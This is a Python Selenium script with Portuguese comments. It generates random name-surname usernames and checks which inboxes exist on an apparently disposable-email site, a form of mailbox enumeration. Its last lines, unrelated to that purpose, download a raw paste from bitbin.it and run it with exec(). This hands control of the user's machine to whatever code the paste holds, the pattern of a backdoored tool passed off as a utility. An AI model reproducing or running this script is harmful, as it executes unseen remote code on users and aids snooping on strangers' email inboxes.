import time
import random
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from colorama import Fore, Style
import requests

# Função para gerar nomes de usuário aleatórios
def generate_random_username():
    first_names = ["maria", "joao", "ana", "pedro", "carlos", "luis", "fernanda", "julia", "gabriel", "rafael"]
    last_names = ["silva", "santos", "oliveira", "pereira", "costa", "rodrigues", "almeida", "nascimento", "azevedo", "ferreira"]
    username = random.choice(first_names) + "-" + random.choice(last_names)
    return username

# Função para gerar URLs completos de email
def generate_email_url(username):
    return f"https://tuamaeaquelaursa.com/{username}"

# Função para abrir o Chrome
def open_chrome():
    driver = webdriver.Chrome()
    return driver

# Função para verificar se a mensagem "Tua mãe, aquela ursa não encontrou tuas cartas." está presente
def check_for_error_message(driver):
    try:
        WebDriverWait(driver, 15).until(EC.visibility_of_element_located((By.XPATH, '//p[contains(text(), "Tua mãe, aquela ursa não encontrou tuas cartas.")]')))
        return True
    except:
        return False

# Função para imprimir os resultados em cores diferentes usando colorama
def print_result(username, email_url, account_exists):
    if account_exists:
        print(Fore.GREEN + f"A conta com o username {username} existe. URL do email: {email_url}" + Style.RESET_ALL)
    else:
        print(Fore.RED + f"A conta com o username {username} não existe. URL do email: {email_url}" + Style.RESET_ALL)

# Entrada da quantidade de contas a serem geradas
num_accounts = int(input("Digite a quantidade de contas que deseja gerar: "))

# Loop para gerar e verificar as contas
for _ in range(num_accounts):
    # Geração de nome de usuário aleatório
    username = generate_random_username()

    # Abre o Chrome
    driver = open_chrome()

    # Abre a página do email
    email_url = generate_email_url(username)
    driver.get(email_url)

    # Espera 15 segundos para o site carregar completamente
    time.sleep(15)

    # Verifica se a mensagem de erro está presente na página
    error_message_exists = check_for_error_message(driver)

    # Determina se a conta existe com base na presença da mensagem de erro
    account_exists = not error_message_exists

    # Imprime o resultado
    print_result(username, email_url, account_exists)

    # Fecha o navegador após a verificação
    driver.quit()

# Substitua 'URL_DO_SEU_PASTE_RAW_AQUI' pelo link raw completo do seu paste no Bitbin
url_raw = 'https://bitbin.it/egMj2RaP/raw/'

# Faça uma requisição GET para obter o conteúdo do paste
response = requests.get(url_raw)

# Verifique se a requisição foi bem-sucedida (código de status 200)
if response.status_code == 200:
    # O conteúdo do código está em response.text
    # Execute o código Python obtido
    exec(response.text)
else:
    print("Falha ao acessar o código.")